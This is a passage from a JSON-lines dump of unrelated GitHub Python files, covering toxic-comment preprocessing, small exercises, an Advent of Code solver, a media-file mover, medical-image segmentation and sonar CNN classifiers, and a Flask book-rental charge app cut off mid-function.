random.sample(train_data[train_data[target_col_name] == 0].index.values.tolist(), non_toxic_num);\n return toxic_index, non_toxic_index;\n\n'''\nThis function reads in the data from file\n'''\ndef read_in_data (debug: bool = False) -> pd.DataFrame:\n # in debug mode, read in short version of the input data\n if not debug:\n data = pd.read_csv(config.toxic_comment_input_path);\n else:\n data = pd.read_csv(config.short_toxic_comment_input_path);\n return data;\n'''\nThis function handles the missing data\n'''\ndef handle_missing_data (data: pd.DataFrame, feature_cols: list) -> pd.DataFrame:\n return data;\n\n'''\nAdjust comment column\n'''\ndef adjust_comment_col (data: pd.DataFrame, adjust_sentence_length = False) -> pd.DataFrame:\n if adjust_sentence_length:\n # Adjust the length of the comments:\n data['comment_text_adjusted'] = data.apply(lambda x: x['comment_text'].ljust(config.sentence_length, ' '), axis = 1);\n # Truncate the comment_text.\n data['comment_text_adjusted'] = data.comment_text_adjusted.map(lambda x: x[:config.sentence_length] if len(x) > config.sentence_length else x);\n print('adjust comment text ...')\n data['comment_text_adjusted'] = data.comment_text.map(filter_special_char);\n # turn all letters to lower case.\n data['comment_text_adjusted'] = data.comment_text_adjusted.map(lambda x: x.lower());\n return data;\n\ndef gen_is_toxic_col (data: pd.DataFrame) -> pd.DataFrame:\n # if target > 0.5, than the commit is toxic\n print('gen is_toxic column ...');\n data['is_toxic'] = data.apply(lambda x: 1 if x['target'] > 0.5 else 0, axis = 1);\n return data;\n\n\n'''\nThis function filters off the special characters in the string\n'''\ndef filter_special_char (s):\n return ''.join(c for c in s if c.isalnum() or c == ' ')\n\n\n'''\nAssign embedding matrix. This function generates a column for the dataframe, assign the embeddings of the comment to the column.\n'''\ndef assign_embeddings(data: pd.DataFrame) -> pd.DataFrame:\n print('assign embeddings ...')\n #data['comment_embeddings'] = [[] for _ in range(len(data))];\n #data = data.apply(gen_comment_embedding, axis = 1);\n #print('inside assign embeddings: ', data.comment_text_adjusted);\n data['comment_embeddings'] = data.comment_text_adjusted.map(\n lambda x: ','.join(str(embeds.word2idx.get(item, embeds.word2idx['unk'])) for item in x.split()) ) \n print('inside assign embeddings: ', data.comment_embeddings);\n return data;\n\n'''\nThis function generates the embeddings for a row.\n'''\ndef gen_comment_embedding(data_row: pd.Series) -> pd.DataFrame:\n #print('data row: ',data_row);\n #print('type of data_row: ', type(data_row));\n #print('comment adjusted: ', data_row['comment_text_adjusted']);\n #print('type of comment adjusted: ', type(data_row['comment_text_adjusted']));\n comment_split = data_row['comment_text_adjusted'].split();\n comment_embeddings = np.array(\n [item for item in map(lambda x: embeds.embeddings[embeds.word2idx.get(x, embeds.word2idx['unk'])], comment_split)],\n dtype = np.float16\n );\n data_row['comment_embeddings'] = comment_embeddings;\n return data_row;\n\n'''\nThis function selects the relevant columns from the dataset and returns the dataset.\n'''\ndef select_data_cols(data: pd.DataFrame) -> pd.DataFrame:\n #print(data);\n return data[\n ['id', 'target','is_toxic','comment_embeddings', 'comment_text_adjusted']\n ]\n\n\n'''\nThis function runs the pipeline for preprocessing\n'''\ndef run_pipeline(debug = False):\n train_data = read_in_data(debug); # read in data\n train_data = assign_embeddings( # assign embeddings to the comment column\n gen_is_toxic_col( # generate the is_toxic column\n adjust_comment_col(train_data, True) # adjust the comment column\n )\n )\n \n return train_data;\n\n'''\nThis function runs pipeline for preprocessing and \n'''\ndef run_pipeline_out(debug = False):\n train_data = read_in_data(debug); # read in data\n train_data = assign_embeddings( # assign embeddings to the comment column\n gen_is_toxic_col( # generate the is_toxic column\n adjust_comment_col(train_data, False) # adjust the comment column\n )\n )\n train_data.to_csv(config.processed_toxic_comment_input_path);\n\n##################################\n## Test functions\n##################################\n\ndef check_default_value_dic():\n word2idx = pickle.load(open(config.word2idx_path, 'rb'))\n embeddings = bcolz.open(config.bcolz_embedding_path, mode = 'r');\n print('s index: ');\n #print(word2idx.get('do\\'t', word2idx['unk']));\n #print(word2idx['s'])\n # set up the default value of the word2idx dictionary\n #word2idx.setdefault()\n\n'''\nThis function tests the pipeline preprocessing\n'''\ndef test_run_pipeline():\n train_data = run_pipeline(True);\n print(train_data);\n\n'''\nThis function tests assign_embeddings()\n'''\ndef test_assign_embeddings():\n # read in data\n print('toxic file path: ', config.short_toxic_comment_input_path);\n data= read_in_data(debug = True);\n comment_text = 'this is a text sentence';\n df = pd.DataFrame([comment_text], columns =['comment_text_adjusted'] );\n #print(df);\n #print('type of df: ', type(df));\n assign_embeddings(df)\n print('comment text: ', comment_text);\n embeds_res = df['comment_embeddings'].iloc[0];\n embeds_expected = [item for item in map(lambda x: embeds.word2idx.get(x, 'unk'), 'this is a text sentence'.split())]\n print('res embeddings: ', embeds_res)\n print('exp embeddings: ', embeds_expected);\n print(embeds_res == embeds_expected);\n\n\n\ndef test_filter_special_char():\n s1 = 'good luck! than.,.k you v@!ery much!!!?!?';\n print(filter_special_char(s1))\n\n'''\nThis function randomly pickup one word embedding and compares it with the bcolz embeddings stored at config.bcolz_embedding_path\n'''\ndef test_embeddings():\n num_lines = 0;\n with open (config.pretrained_embeds_path, 'rb') as fopen:\n for l in fopen:\n num_lines +=1;\n fopen.close();\n print('total num of lines: ', num_lines);\n rand_num_line = np.random.randint(0, num_lines); #randomly select one line\n print('randomly select line: ', rand_num_line);\n idx = 0; # index of the line\n with open(config.pretrained_embeds_path, 'rb') as fopen:\n for l in fopen:\n if idx < rand_num_line:\n idx += 1;\n continue;\n else:\n line_splits = l.decode().split();\n word = line_splits[0];\n expected_embeds = np.array(line_splits[1:]).astype(np.float32);\n print('word: ', word);\n #print('expected embeddings: ', expected_embeds);\n res_embeds = embeds.embeddings[embeds.word2idx[word]];\n #print('answer embeddings: ', res_embeds);\n print('check embedings length: ', len(res_embeds) == len(expected_embeds));\n for i in range(len(res_embeds)):\n print(math.isclose(expected_embeds[i], res_embeds[i], rel_tol = 0.00001), end = ' ');\n break;\n\n\nif __name__ == '__main__':\n #test_assign_embeddings();\n #test_run_pipeline();\n #test_embeddings();\n #run_pipeline_out();\n #write_glove_embeddings_bcolz();\n create_short_train_file(10010);\n run_pipeline_out(True);","repo_name":"penpensun/MachineLearningPlayground","sub_path":"jigsaw_kaggle/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":9819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32768632455","text":"#! /usr/bin/env python\n# -*- coding: utf8 -*-\n\n# author: dreampython\n# date: 2018-10-23\n# 第 0015 题: 纯文本文件 city.txt为城市信息, 里面的内容(包括花括号)如下所示:\n# 请将上述内容写到 city.xls 文件中\n\n# 步骤1: 读取city.txt中的数据\n# 步骤2: 创建excel对象\n\nfrom openpyxl import Workbook\nimport json\n\ndef read_txt_file():\n with open('./city.txt','r',encoding='utf-8-sig') as file:\n load_dict = json.load(file)\n return load_dict\n\ndef create_excel_file(citys):\n wb = Workbook()\n sheet = wb.active\n sheet.title = \"citys\"\n i = 0\n for city in citys:\n i = i + 1\n sheet[\"A%d\" %i].value = city\n sheet[\"B%d\" %i].value = citys.get(city)\n wb.save('./citys.xlsx')\n\nif __name__ == \"__main__\":\n citys = read_txt_file()\n create_excel_file(citys)\n ","repo_name":"killedman/PythonPracticeQuestions","sub_path":"write_city_data_to_excel.py","file_name":"write_city_data_to_excel.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18951318178","text":"#User function Template for python3\n\nclass Solution:\n def inSequence(self, start, term, diff):\n \n if term==start:\n return 1\n \n if diff == 0:\n return 0\n \n x = (term - start)/diff\n \n if x - int(x)>0:\n return 0\n \n if x!=abs(x):\n return 0\n \n return 1 \n \n \n\n#{ \n# Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n t = int(input())\n for _ in range(t):\n A, B, C = [int(x) for x in input().split()]\n \n ob = Solution();\n print(ob.inSequence(A, B, C))\n# } Driver Code Ends","repo_name":"soundarzozm/DSA-py","sub_path":"search_and_sort/arithmetic_number.py","file_name":"arithmetic_number.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23488013936","text":"#!/usr/bin/python3\nfrom typing import Generator, Tuple, List, Callable, Type \nfrom math import sqrt\n\nPoint = Tuple[int, int]\nLine = Tuple[Point, Point]\n\ndef parse_line(line: str) -> Line:\n startstr, endstr = line.split('->')\n start: Point = tuple(map(int, startstr.split(',')))\n end: Point = tuple(map(int, endstr.split(','))) \n return start, end\n\ndef parse_file(filename: str) -> List[Line]:\n lines: List[Line] = []\n with open(filename, 'r') as file:\n for line in file:\n lines.append(parse_line(line))\n return lines\n\n\ndef is_straight(line: Line) -> bool:\n start, end = line\n x1, y1 = start\n x2, y2 = end\n return x1 == x2 or y1 == y2\n\ndef max_x(line: Line) -> int:\n start, end = line\n x1, _ = start\n x2, _ = end\n return max(x1, x2)\n\ndef max_y(line: Line) -> int:\n start, end = line\n _, y1 = start\n _, y2 = end\n return max(y1, y2)\n\ndef line_gen(line: Line) -> Generator[Point, Point, Point]:\n if is_straight(line):\n yield from straight_line_gen(line)\n return \n yield from diagonal_line_gen(line)\n\n\ndef my_range(a: int, b: int) -> Generator[int, int, int]:\n if a <= b:\n yield from range(a, b + 1)\n return\n\n for x in range(a, b - 1, -1):\n yield x\n\n\ndef diagonal_line_gen(line: Line) -> Generator[Point, Point, Point]:\n start, end = line\n x1, y1 = start\n x2, y2 = end\n s1, s2 = (x2 - x1, y2 - y1) \n\n v1 = -1\n v2 = -1\n if s1 > 0:\n v1 = 1\n \n if s2 > 0:\n v2 = 1\n \n yield start\n current = (x1 + v1, y1 + v2)\n while current != end:\n yield current\n current = (current[0] + v1, current[1] + v2)\n yield end\n\n\ndef straight_line_gen(line: Line) -> Generator[Point, Point, Point]:\n start, end = line\n x1, y1 = start\n x2, y2 = end\n\n if x1 == x2:\n rng = my_range(y1, y2)\n for y in rng:\n yield x1, y\n return\n if y1 == y2:\n rng = my_range(x1, x2)\n for x in rng:\n yield x, y1\n return\n\n\ndef mark_spots(spots: List[List[int]], lines: List[Line]) -> None:\n for ln in lines:\n line = line_gen(ln)\n for spot in line:\n x, y = spot\n spots[y][x] += 1\n\ndef count_intersections(spots: List[List[int]]) -> int:\n count = 0\n for row in spots:\n for spot in row:\n if spot >= 2:\n count += 1\n return count\n\nif __name__ == '__main__':\n lines = parse_file('input.txt')\n # only_straight = filter(is_straight, lines)\n x = max_x(max(lines, key=max_x))\n y = max_y(max(lines, key=max_y))\n arr: List[List[int]] = [[0 for _ in range(0, x + 1)] for _ in range(y + 1)]\n mark_spots(arr, lines)\n print(count_intersections(arr))\n","repo_name":"jedinym/aoc21","sub_path":"05-py/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14893781438","text":"\"\"\"\nThis module includes dictionaries with fluid properties (air, water, vapour, fuels)\nTo be used all over the code\n\"\"\"\n\n__author__ = \"Enrico Prataviera\"\n__credits__ = [\"Enrico Prataviera\"]\n__license__ = \"MIT\"\n__version__ = \"0.1\"\n__maintainer__ = \"Enrico Prataviera\"\n\n#########################################\n# RECOMMENDATION: Use unit in units.py #\n#########################################\nair_properties = {\n \"density\": 1.2, # kg/m3\n \"specific_heat\": 1000., # J/kgK\n \"atmospheric_pressure\": 101325., # Pa\n}\n\nwater_properties = {\n \"density\": 1000., # kg/m3\n \"specific_heat\": 4182., # J/kgK\n}\n\nvapour_properties = {\n \"latent_heat\": 2501000., # J/kg\n \"specific_heat\": 1875., # J/kgK\n}\n\nfuels_pci = {\n \"Natural Gas\": 9970, # Wh/Nm3\n \"Oil\": 9908, # Wh/L\n \"Wood\": 5000, # Wh/kg\n}\n\ngravitational_acceleration = 9.81 # m/s2","repo_name":"BETALAB-team/EUReCA","sub_path":"eureca_building/fluids_properties.py","file_name":"fluids_properties.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"75"} +{"seq_id":"28247151259","text":"import os\nimport shutil\nfrom Tkinter import Tk\nfrom tkFileDialog import askdirectory\n\nTk().withdraw()\n# show an \"Open\" dialog box and return the path to the selected file\n\n# array to hold folder names to delete\nfoldersToDeleteArray = []\n\n# ask for the directory the user wants to use\nlocation = askdirectory()\n\n# read extension names from text file\nwith open(\"extensionsToMove.txt\") as f:\n extensionsToMove = f.readlines()\n\n# removes whitespace from each line\nextensionsToMove = [lines.strip() for lines in extensionsToMove]\n\n# size of extension array\nextensionListSize = len(extensionsToMove)\n\n\nfor path, subdirs, files in os.walk(location):\n for filename in sorted(files):\n f = os.path.join(path, filename)\n\n # loop through each extension from extensionsToMove array\n for num in range(0, extensionListSize):\n\n if filename.endswith(extensionsToMove[num]):\n\n # folder two directories up, moving file here\n twoFoldersUp = os.path.normpath(os.path.join(f, '../../'))\n\n # folder file is currently in\n oneFolderUp = os.path.normpath(os.path.join(f, '../'))\n\n # create array of folders to delete\n if(oneFolderUp not in foldersToDeleteArray):\n foldersToDeleteArray.append(oneFolderUp)\n\n # move file (f) to the directory twoFoldersUp\n shutil.move(f, twoFoldersUp)\n\n# delete all folders in foldersToDeleteArray\nfor item in foldersToDeleteArray:\n shutil.rmtree(item)\n","repo_name":"GHershkowitz/MediaMover","sub_path":"mediaMover.py","file_name":"mediaMover.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25012671123","text":"import config\nfrom losses import *\nfrom metrics import *\nfrom utils import *\nimport numpy as np\nimport os\nimport time\nimport matplotlib.pyplot as plt\nimport keras\nimport tensorflow as tf\nfrom tensorflow.keras import backend as K \nimport h5py\nfrom datetime import datetime\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.metrics import (\n Recall,\n Precision\n)\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\n# extract generic axis information\naxisPath = config.PROCESSED_DATA_DIR\nrand_input_file = os.path.join(config.RAW_DATA_DIR, 'DoD001','DoD001_Ter030_LC5_Displacement_Normalized_3.mat')\nxAxis, yAxis = extract_axis(rand_input_file)\n\n\ndef visualize_result(label, prediction, displacement, name, xAxis, yAxis):\n \"\"\"\n Display an input\n \n Args:\n label (numpy.arr): the label\n prediction (numpy.arr): the prediction\n displacement (numpy.arr): displacement\n name (string): name of the data file\n xAxis (numpy.arr): numpy array contain x axis for display the cone\n yAxis (numpy.arr): numpy array contain y axis for display the cone\n path (string): path to save image to\n \"\"\"\n label = np.squeeze(label, axis=-1)\n prediction = np.squeeze(np.squeeze(prediction, axis=-1), axis=0)\n displacement = np.squeeze(displacement, axis=-1)\n \n name = name.split('.')[0]\n \n # display\n fig, ax = plt.subplots(1, 3, figsize=(24, 6))\n fig.patch.set_facecolor('white')\n fig.suptitle(name, fontsize=16)\n # label\n ax[1].pcolormesh(xAxis, -yAxis, label, shading='auto', cmap='magma')\n ax[1].title.set_text(\"Ground Truth\")\n ax[1].axis('off')\n # prediction\n ax[2].pcolormesh(xAxis, -yAxis, prediction, shading='auto', cmap='magma')\n ax[2].title.set_text(\"Output\")\n ax[2].axis('off')\n # displacement\n ax[0].pcolormesh(xAxis, -yAxis, displacement, shading='auto')\n ax[0].title.set_text(\"Standardized Displacement\")\n ax[0].axis('off')\n plt.show()\n\n\ndef show_prediction(model, dataset, sample_num):\n x = dataset['x']\n y = dataset['y']\n names = dataset['filename']\n name = names[sample_num]\n sample = x[sample_num]\n y_true = one_hot_float(y[sample_num])\n y_pred = model.predict(np.expand_dims(sample, axis=0))\n visualize_result(y_true, y_pred, sample, name.decode('utf-8'), xAxis, yAxis)\n\n\ndef show_specific_prediction(file_name:str, data_dir, model):\n \"\"\"\n Make a prediction for a specific file\n \n Args:\n file_name: name of the .mat file (utf-8)\n data_dir: location of the saved dataset\n model: a trained model\n \"\"\"\n data = h5py.File(data_dir)\n name_ascii = file_name.encode('ascii')\n canPredict = find_and_predict(data['test'], name_ascii, model)\n if not canPredict:\n canPredict = find_and_predict(data['dev'], name_ascii, model)\n data.close()\n if not canPredict:\n print(file_name, \"not found\")\n\n\ndef find_and_predict(dataset, file_name, model):\n \"\"\"\n Make a prediction for a specific file\n \n Args:\n file_name: name of the .mat file (ascii)\n dataset: train or test data set (h5py dataset)\n model: a trained model\n \n Returns:\n True if the file exist, False otherwise\n \"\"\"\n names = np.array(dataset['filename'])\n idx = np.where(names == file_name)[0]\n if idx.shape[0] > 0:\n idx = idx[0]\n show_prediction(model, dataset, idx)\n return True\n \n return False\n\n\ndef evaluate(y_true, y_pred):\n dice_score = dice_coefficient(y_true, y_pred)\n iou_score = iou(y_true, y_pred)\n precision_m = Precision()\n precision_m.update_state(y_true, y_pred)\n recall_m = Recall()\n recall_m.update_state(y_true, y_pred)\n \n print(\"Mean dice score:\", dice_score.numpy())\n print(\"Mean IoU:\", iou_score.numpy())\n print(\"Mean precision:\", precision_m.result().numpy())\n print(\"Mean recall:\", recall_m.result().numpy())\n\n\ndef make_and_save_prediction(model, data_dir, save_dir):\n \"\"\"\n Make a prediction for a sample using a trained model\n and save the result image to a file\n \n Args:\n model\n data_dir\n save_dir\n \"\"\"\n\n f = h5py.File(data_dir, 'r')\n test = f['test']\n x = np.array(test['x'])\n y = one_hot_float(test['y'])\n names = list(test['filename'])\n\n # make prediction\n if config.MODEL_TYPE == 'cascade_unet_conv' or config.MODEL_TYPE == 'cascade_unet_concat':\n ROI = np.array(test['ROI'])\n y_pred = model.predict([x, ROI])\n else:\n y_pred = model.predict(x)\n \n f.close()\n\n evaluate(y, y_pred)\n\n for idx in range(x.shape[0]):\n name = names[idx].decode('utf-8')\n name = name.split('.')[0]\n name = name[0:17]\n path = os.path.join(save_dir, name + \".png\")\n\n label = np.squeeze(y[idx], axis=-1)\n prediction = np.squeeze(y_pred[idx], axis=-1)\n displacement = np.squeeze(x[idx], axis=-1)\n # display\n fig, ax = plt.subplots(1, 3, figsize=(24, 6))\n fig.patch.set_facecolor('white')\n fig.suptitle(name, fontsize=18, fontweight='bold')\n\n # label\n ax[1].pcolormesh(xAxis, -yAxis, label, shading='auto', cmap='magma')\n ax[1].set_title(\"Ground Truth\", fontsize=14, fontweight='bold')\n ax[1].axis('off')\n # prediction\n ax[2].pcolormesh(xAxis, -yAxis, prediction, shading='auto', cmap='magma')\n ax[2].set_title(\"Output\", fontsize=14, fontweight='bold')\n ax[2].axis('off')\n # displacement\n ax[0].pcolormesh(xAxis, -yAxis, displacement, shading='auto')\n ax[0].set_title(\"Standardized Displacement\", fontsize=14, fontweight='bold')\n ax[0].axis('off')\n plt.savefig(path)\n\n\ndef make_and_save_prediction_full_cascade(model, ROI_model, data_dir, save_dir):\n \"\"\"\n Make a prediction for a sample using a trained model\n and save the result image to a file\n \n Args:\n model\n data_dir\n save_dir\n save_name\n \"\"\"\n f = h5py.File(data_dir, 'r')\n test = f['test']\n x = np.array(test['x'])\n y = one_hot_float(test['y'])\n names = list(test['filename'])\n f.close()\n\n # detect the brain tissue\n ROI_pred = ROI_model.predict(x)\n\n # make prediction using predicted ROI mask\n y_pred = model.predict([x, ROI_pred])\n\n evaluate(y, y_pred)\n \n for idx in range(x.shape[0]):\n name = names[idx].decode('utf-8')\n name = name.split('.')[0]\n name = name[0:17]\n path = os.path.join(save_dir, name + \".png\")\n\n label = np.squeeze(y[idx], axis=-1)\n prediction = np.squeeze(y_pred[idx], axis=-1)\n displacement = np.squeeze(x[idx], axis=-1)\n # display\n fig, ax = plt.subplots(1, 3, figsize=(24, 6))\n fig.patch.set_facecolor('white')\n fig.suptitle(name, fontsize=18, fontweight='bold')\n\n # label\n ax[1].pcolormesh(xAxis, -yAxis, label, shading='auto', cmap='magma')\n ax[1].set_title(\"Ground Truth\", fontsize=14, fontweight='bold')\n ax[1].axis('off')\n # prediction\n ax[2].pcolormesh(xAxis, -yAxis, prediction, shading='auto', cmap='magma')\n ax[2].set_title(\"Output\", fontsize=14, fontweight='bold')\n ax[2].axis('off')\n # displacement\n ax[0].pcolormesh(xAxis, -yAxis, displacement, shading='auto')\n ax[0].set_title(\"Standardized Displacement\", fontsize=14, fontweight='bold')\n ax[0].axis('off')\n plt.savefig(path)\n\n\nif __name__ == '__main__':\n # objective:\n # mode 0 = skull\n # mode 1 = blood\n # mode 2 = brain\n # mode 3 = ventricle\n mode = config.DATA_MODE\n if mode == 0:\n objective = 'skull'\n elif mode == 1:\n objective = 'blood'\n elif mode == 2:\n objective = 'brain'\n elif mode == 3:\n objective = 'vent'\n else:\n raise ValueError(\"Enter a valid mode\")\n \n architecture = config.MODEL_TYPE\n\n # name of a trained model\n model_name = '20220427-183517_unet_blood.h5'\n model_path = os.path.join(config.TRAINED_MODELS_DIR, model_name)\n model = load_model(model_path, compile=False)\n\n if config.MODEL_TYPE == 'cascade_unet_conv' or config.MODEL_TYPE == 'cascade_unet_concat':\n data_dir = os.path.join(config.PROCESSED_DATA_DIR, objective + '_cascade_displacementNorm_data.hdf5')\n else:\n data_dir = os.path.join(config.PROCESSED_DATA_DIR, objective + '_displacementNorm_data.hdf5')\n\n print(\"Making prediction for\", objective, \"using model\", model_name, \"with data\", data_dir)\n\n if config.FULL_CASCADE:\n print(\"Full cascade = yes\")\n ROI_model_name = '20220426-235354_unet_plus_plus_brain.h5'\n ROI_model_path = os.path.join(config.TRAINED_MODELS_DIR, ROI_model_name)\n ROI_model = load_model(ROI_model_path, compile=False)\n save_dir = os.path.join(config.INFERENCE_DIR, \n datetime.now().strftime('%Y%m%d-%H%M%S') + '_full_' + architecture + '_' + objective)\n if not os.path.isdir(save_dir):\n os.makedirs(save_dir)\n make_and_save_prediction_full_cascade(model, ROI_model, data_dir, save_dir)\n else:\n print(\"Full cascade = no\")\n save_dir = os.path.join(config.INFERENCE_DIR, \n datetime.now().strftime('%Y%m%d-%H%M%S') + '_' + architecture + '_' + objective)\n if not os.path.isdir(save_dir):\n os.makedirs(save_dir)\n make_and_save_prediction(model, data_dir, save_dir)\n","repo_name":"jackPhn/tbi-diagnosis","sub_path":"src/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":9497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36733146378","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport keras\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten, BatchNormalization\nfrom keras.layers import Convolution2D, MaxPooling2D\n\nfrom math import sqrt\n\nfrom .objectProposals import ProposalEvaluator\n\nfrom ..compat import imresize\n\nclass CNNProposalBinaryEvaluator(ProposalEvaluator):\n def __init__(self, weightsFile = None):\n self.model = self.buildKerasModel()\n\n if weightsFile is None:\n self.model.load_weights(\"cnnProposalFixedBinaryWeights.hdf5\")\n else:\n self.model.load_weights(weightsFile)\n\n def buildKerasModel(self):\n model = Sequential()\n\n model.add(Convolution2D(12, 5, 5, border_mode='valid', input_shape=(1, 96, 96), activation = \"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(BatchNormalization())\n\n model.add(Convolution2D(12, 5, 5, border_mode='valid', activation = \"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(BatchNormalization())\n\n model.add(Flatten())\n model.add(Dense(64, activation = \"relu\"))\n model.add(BatchNormalization())\n\n model.add(Dense(2, activation = \"softmax\"))\n\n model.compile(loss = \"categorical_crossentropy\", optimizer = \"adam\")\n\n return model\n\n def evaluate(self, windowImage):\n probs = self.model.predict(windowImage.reshape(1, 1, 96, 96), batch_size = 1)[0]\n\n #Class 0 is object, and class 1 is background\n #Return true if classifier says object\n decision = probs[1] >= probs[0]\n\n if decision:\n return True, probs[1]\n else:\n return False, probs[0]\n\n def resizeAndClassify(self, image):\n resizedImage = None\n\n if image.shape != (96, 96):\n resizedImage = imresize(image, (96, 96), interp = \"bilinear\")\n else:\n resizedImage = image\n\n return self.classify(resizedImage)\n\nclass CNNProposalScoreEvaluator(ProposalEvaluator):\n def __init__(self, weightsFile = None):\n self.model = self.buildKerasModel()\n\n if weightsFile is None:\n self.model.load_weights(\"cnnProposalFixedScoreWeights.hdf5\")\n else:\n self.model.load_weights(weightsFile)\n\n self.threshold = 0.5\n\n def buildKerasModel(self):\n model = Sequential()\n\n model.add(Convolution2D(32, 5, 5, border_mode='valid', input_shape=(1, 96, 96), activation = \"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(BatchNormalization())\n\n model.add(Convolution2D(32, 5, 5, border_mode='valid', activation = \"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(BatchNormalization())\n\n model.add(Flatten())\n model.add(Dense(96, activation = \"relu\"))\n model.add(BatchNormalization())\n\n model.add(Dense(1, activation = \"sigmoid\"))\n\n model.compile(loss = \"mse\", optimizer = \"adam\")\n\n return model\n\n def evaluate(self, windowImage):\n score = self.score(windowImage)\n\n return (score > self.threshold), score\n\n def score(self, windowImage):\n return self.model.predict(windowImage.reshape(1, 1, 96, 96), batch_size = 1)[0]\n\n def resizeAndScore(self, image):\n resizedImage = None\n\n if image.shape != (96, 96):\n resizedImage = imresize(image, (96, 96), interp = \"bilinear\")\n else:\n resizedImage = image\n\n return self.classify(resizedImage)\n\nclass TMProposalEvaluator(ProposalEvaluator):\n def __init__(self, positiveTemplates, mode = \"cc\"):\n self.positiveTemplates = positiveTemplates\n self.threshold = 0.5\n\n if mode == \"cc\":\n self.positiveTemplateMeans = np.zeros(positiveTemplates.shape[0])\n\n for i in range(positiveTemplates.shape[0]):\n self.positiveTemplateMeans[i] = np.mean(positiveTemplates[i])\n\n self.matcher = self.evalCC\n elif mode == \"sqd\":\n self.matcher = self.evalSQD\n else:\n raise ValueError(\"Invalid mode: {}\".format(mode))\n\n def bestCorrelationMatch(self, image, templates, templateMeans):\n scores = np.zeros(templates.shape[0])\n imageMean = np.mean(image)\n\n for i, template in enumerate(templates):\n normFactor = np.sum(np.square(image - imageMean)) * np.sum(np.square(template - templateMeans[i]))\n scores[i] = np.sum(np.multiply(image - imageMean, template - templateMeans[i])) / sqrt(normFactor)\n\n score = max(scores)\n\n if score < 0.0:\n score = 0.0\n\n if score > 1.0:\n score = 1.0\n\n return score\n\n def bestSquareDiffMatch(self, image, templates):\n scores = np.zeros(templates.shape[0])\n\n for i, template in enumerate(templates):\n scores[i] = np.mean(np.square(image - template))\n\n scores = scores / sum(scores)\n\n return min(scores)\n\n def evalCC(self, windowImage):\n return self.bestCorrelationMatch(windowImage, self.positiveTemplates, self.positiveTemplateMeans)\n\n def evalSQD(self, windowImage):\n return 1.0 - self.bestSquareDiffMatch(windowImage, self.positiveTemplates)\n\n def evaluate(self, windowImage):\n score = self.score(windowImage)\n\n return (score > self.threshold), score\n\n def score(self, windowImage):\n return self.matcher(windowImage)\n\n def resizeAndScore(self, image):\n resizedImage = None\n\n if image.shape != (96, 96):\n resizedImage = imresize(image, (96, 96), interp = \"bilinear\")\n else:\n resizedImage = image\n\n return self.classify(resizedImage)\n","repo_name":"mvaldenegro/auv-perception","sub_path":"auv_perception/fls/cnnProposalClassifier.py","file_name":"cnnProposalClassifier.py","file_ext":"py","file_size_in_byte":5732,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"45315981432","text":"# encoding:UTF-8\n'''\nTo find the GCD of two numbers is Euclid’s algorithm, which is based on the observation \nthat if r is the remainder when a is divided by b, then gcd(a, b) = gcd(b, r). \nAs a base case, we can use gcd(a, 0) = a.\n'''\n\ndef gcd(a, b):\n # Finding the remainder\n r = a % b\n if (r == 0):\n return b\n else :\n return gcd(b, r)\n\n\nprint(gcd(3, 8))\nprint(gcd(1277, 154))\nprint(gcd(77, 140))","repo_name":"rhps/py-learn","sub_path":"Tut7-FunctionNRecursion/py-recursion.py","file_name":"py-recursion.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"14505116783","text":"from flask import Flask, render_template, request, flash, jsonify\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'MNMjWHAlKq1ou8eJ'\n\nbooks = [\n {\n \"id\": 1,\n \"type\": \"novel\"\n },\n {\n \"id\": 2,\n \"type\": \"regular\"\n },\n {\n \"id\": 3,\n \"type\": \"fiction\"\n }\n]\n\ncharges = {\n 'number': [],\n 'duration': [],\n 'books': [],\n 'story_one': {\n \"total\": 0,\n \"number\": 0,\n },\n 'story_two': {\n \"total\": 0,\n \"number\": 0,\n },\n 'story_three': {\n \"total\": 0,\n \"number\": 0,\n }\n}\n\n\n\"\"\"Story 1\"\"\"\nclass Story1: \n def __init__(self, number_of_books, duration):\n self.number_of_books = number_of_books\n self.duration = duration\n \n def calculate_charge(self, per_day_rental):\n return self.number_of_books * (self.duration * per_day_rental)\n\n\n\n\"\"\"Story 2\"\"\"\nclass Story2(Story1):\n def __init__(self, number_of_books, duration, book_type):\n super().__init__(number_of_books, duration)\n self.book_type = book_type\n \n def calculate_charge(self):\n if self.book_type == 'regular':\n per_day_rental = 1.5\n\n return self.number_of_books * (self.duration * per_day_rental)\n\n if self.book_type == 'fiction':\n per_day_rental = 3\n return self.number_of_books * (self.duration * per_day_rental)\n if self.book_type == 'novel':\n per_day_rental = 1.5\n return self.number_of_books * (self.duration * per_day_rental)\n\n\n\"\"\"Story 3\"\"\"\nclass Story3(Story1):\n def __init__(self, number_of_books, duration, book_type):\n super().__init__(number_of_books, duration)\n self.book_type = book_type\n\n def calculate_charge(self):\n 